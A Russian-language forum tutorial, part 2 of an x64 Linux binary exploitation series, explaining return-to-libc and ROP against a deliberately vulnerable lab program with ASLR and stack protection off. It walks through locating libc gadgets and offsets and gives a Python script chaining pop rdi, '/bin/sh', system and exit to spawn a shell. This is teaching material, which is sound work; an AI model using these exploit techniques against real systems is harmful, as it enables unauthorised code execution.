• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Введение в бинарную эксплуатацию x64 Linux (часть 2)

timeshout

RAID-массив
Пользователь
Регистрация
29.06.2022
Сообщения
62
Реакции
83
Введение в эксплуатацию двоичных файлов x64 Linux (часть 1)

Definitions
Начнем с некоторых относительных определений:

Атака повторного использования кода: Атака повторного использования кода - это техника эксплуатации, которая после получения контроля над указателем инструкций перенаправляет поток управления исполняемого файла на существующий код, который соответствует потребностям злоумышленника.

Возврат в библиотеку и предсуществующие последовательности инструкций (гаджеты) являются примерами данной техники.

Бит NX или XD: Бит NX (no-execute) или XD (eXecute Disabled) - это технология, используемая в процессорах для разделения областей памяти для использования либо для хранения инструкций процессора (кода), либо для хранения данных [1].

Как я показал в предыдущей части, используя BoF, можно вставить произвольный код в память программы. При маркировке этих областей памяти, явно предназначенных для хранения данных, попытка выполнить внедренный код вызовет исключение. Некоторые операционные системы Unix (например, OpenBSD, macOS) поставляются с защитой исполняемого пространства, а новые версии Microsoft Windows также поддерживают защиту исполняемого пространства, называемую Data Execution Prevention [2].


Return into libc

Конкретная атака использует код, который существует в всегда доступной библиотеке C (libc). Для простоты предположим, что у нас уже есть контроль над регистром RIP, тогда вместо того, чтобы перенаправить управление на некоторую область памяти в стеке, мы заставим вызвать тщательно выбранную существующую функцию, которая служит нашим потребностям как атакующего (например, для порождения оболочки).

Как уже упоминалось, libc является очень популярной мишенью для такого рода атак, поскольку содержит почти все функции языка Си, и все эти функции могут быть доступны, поскольку они экспортированы. Одной из таких функций является system(), которая имеет следующий синтаксис:

Код:
int system(const char *command)


Эта функция библиотеки C устанавливает команду или имя программы, указанное параметром command, в среду хоста для выполнения командным процессором и возвращается после завершения команды. Таким образом, следующая программа просто порождает SHELL:

1657508332877.png


Если предположить, что с помощью уязвимости нам удастся перезаписать регистр RIP, нам все равно придется решить две проблемы:

Найти адрес функции system()
Передать аргументы этой функции
Найти адрес функции exit() для чистого закрытия программы.

Чтобы ответить на эти вопросы, давайте сначала посмотрим, как поток выполнения передается в функцию system() в контексте корректного вызова функции. Для этого скомпилируйте приведенную выше программу ($gcc system.c -o system) и загрузите ее в отладчик:

1657508372440.png


Обратите внимание на вызов функции system() (0x00000000000000001158) и предшествующую ей инструкцию lea rdi,[rip+0xeac] # 0x2004. Помните из части 1, что:

В вызывающем преобразовании языка C до шести аргументов будут помещены в регистры RDI, RSI, RDX, RCX, R8 и R9, а все дополнительное будет помещено в стек.

В конкретном вызове параметр "/bin/sh" будет передан в регистр RDI. Действительно, набрав x/s 0x2004 (или x/s 0x555555556004 в моем случае, поскольку я уже запустил программу) для просмотра строк в этой области памяти, мы получим следующий результат:

1657508412840.png


Или на лучшем виде:

1657508433276.png




Вернемся к нашей уязвимой программе из первой части:

1657508454493.png



После возврата из функции greet_me стек должен выглядеть так, как показано ниже:

1657508476262.png


1 → Поместите достаточное количество данных, чтобы переполнить буфер и перезаписать регистр $rbp

2 → Переписать регистр RIP так, чтобы он указывал на инструкцию POP RDI, за которой следует RET. Таким образом, то, что находится на вершине стека (в нашем случае это будет строка "/bin/sh"), будет передано в регистр RDI, а RET развернет стек, помещая адрес следующей инструкции в регистр RIP→3.

4 → В стеке находится адрес функции system(), который будет передан в RIP (благодаря RET из предыдущего шага).

5 → Когда функция system() вернется, регистр RIP будет указывать на функцию exit(), чтобы чисто завершить нашу программу.

Для тех, кто знаком с двоичной эксплуатацией, эта последовательность инструкций POP RDI, RET уже знакома


Код:
POP RAX ; pop the next item on the stack into RAX
RET ; transfer control to the address contained in the next stack item

Достаточно точная визуализация концепции программирования, ориентированного на возврат, показана ниже:

1657508578508.png




A vulnerable program

Мы снова будем переполнять буфер имен, как и в первой части, с той лишь разницей, что на этот раз мы будем использовать функцию gets C, так как будем использовать '\00' байт на входе. Кроме того, мы опустим параметр -z execstack во время компиляции, чтобы сделать стек неисполнимым. Теперь команда компиляции должна выглядеть следующим образом:

Код:
$gcc -fno-stack-protector vuln.c -o vuln -D_FORTIFY_SOURCE=0

Если вы помните предыдущее сообщение, мы использовали 208 байт для переполнения буфера имен + 8 байт для перезаписи RBP + 8 байт для перезаписи RIP. Инжектированный код был включен в эти 208 байт в дополнение к NOP салазкам из 30 байт.

1657508662302.png




Давайте удалим shellcode и NOP sled из сценария эксплуатации, поскольку мы не собираемся их использовать. Сценарий должен выглядеть следующим образом:

Код:
import sys
import structbuf = b”A”* 208
buf += b”BBBBBBBB” #RBP overwrite
buf += struct.pack(‘<Q’,0x7fffffffde18) #RIP overwritesys.stdout.buffer.write(buf)

Crafting the exploit string
1657508711663.png



Используя карту стека из предыдущего параграфа, мы начнем с поиска адреса гаджета POP RDI, RET в libc:

Найдите файл библиотеки libc:

1657508741683.png



найти гаджет (в libc):

Существуют различные инструменты, которые можно использовать для этой цели, в данном случае мы будем использовать https://github.com/sashs/Ropper:

1657508770690.png

Запишите смещение 0x26b72 и перейдем к следующему шагу

Просканируйте весь файл libc на наличие строки "/bin/sh" и выведите расположение строки в базисе 16:

Код:
$ strings -a -t x /usr/lib/libc.so.6 | grep /bin/sh1b75aa /bin/sh

Запишите смещение 0x1b75aa и перейдем к следующему шагу

Найдите функцию system() с помощью readelf:

Код:
$ readelf -s libc-2.31.so | grep system
....
 1427: 0000000000055410 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5

Запишите смещение 0x55410 и перейдем к следующему шагу.
Аналогично функции system() найдите функцию exit(), используя readelf:

Код:
$ readelf -s libc-2.31.so | grep exit
...
   135: 0000000000049bc0    32 FUNC    GLOBAL DEFAULT   16 exit@@GLIBC_2.2.5

Запомните смещение 0x49bc0 и перейдем к следующему шагу

Найдите базовый адрес функции libc:

Как вы понимаете, смещения, которые мы обнаружили выше, будут добавлены к адресу, по которому будет загружена функция libc. Поскольку ASLR отключена, этот адрес будет одним и тем же каждый раз, когда мы запускаем уязвимую программу, и его можно найти, изучив распределение памяти процесса:

1657508903069.png




Запомните смещение 0x00007ffff7dc5000.

Теперь давайте изменим скрипт эксплойта:

1657508934475.png




Пока проигнорируйте строки 5 и 13 и обратите внимание на переменную buf (строки с 11 по 17), которая соответствует карте стека, которую мы изначально планировали. Если мы попытаемся использовать этот эксплойт, мы все равно получим ошибку сегментации... но не shell:

1657508960563.png


The 16 Bytes Stack Alignment

Если мы отладим уязвимую программу, используя вышеупомянутый эксплойт, и установим точку останова на инструкции возврата функции greet_me, то получим следующее:

1657509000606.png



1 → RBP был перезаписан, 2 → следующая инструкция (ret) переместит адрес на вершину стека в RIP (3) и будет выполнена POP RDI, RET, помещающая "/bin/sh" (3) в регистр RDI. Пока все работает как ожидалось, позволив программе продолжить выполнение, мы переходим к следующей инструкции:

1657509025012.png




64-битная конвенция вызова требует, чтобы стек был выровнен на 16 байт перед инструкцией вызова, но это легко нарушить во время выполнения цепочки ROP, в результате чего все дальнейшие вызовы этой функции будут выполняться с неправильно выровненным стеком. movaps вызывает общий сбой защиты при работе с невыровненными данными, поэтому попробуйте дополнить свою цепочку ROP дополнительным ret перед возвратом в функцию или вернуться дальше в функцию, чтобы пропустить инструкцию push [4]. Мы можем найти адрес дополнительной инструкции RET в файле libc, следуя точно такому же процессу, как мы делали в гаджете POP RDI, RET (используя ropper или аналогичный инструмент). Окончательный сценарий эксплуатации будет выглядеть следующим образом:


Код:
import sys
import structlibc_base_address = 0x7ffff7dc5000
ret = libc_base_address+0xc0533
pop_rdi = libc_base_address + 0x26b72
bin_sh = libc_base_address + 0x1b75aa
system_function = libc_base_address + 0x55410
exit_function = libc_base_address + 0x49bc0buf = b”A”* 208
buf += b”BBBBBBBB”
buf += struct.pack(‘<Q’,ret)
buf += struct.pack(‘<Q’,pop_rdi)
buf += struct.pack(‘<Q’,bin_sh)
buf += struct.pack(‘<Q’,system_function)
buf += struct.pack(‘<Q’,exit_function)sys.stdout.buffer.write(buf)


Запустив уязвимую программу, используя вывод, сделанный скриптом выше, мы, наконец, получим Shell:

1657509082148.png



References

[1] https://en.wikipedia.org/wiki/NX_bit

[2] https://en.wikipedia.org/wiki/Buffer_overflow

[3] The Ghidra Book: The Definitive Guide, Chris Eagle, Kara Nance, September 2020

[4] https://ropemporium.com/guide.html#Appendix B



 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх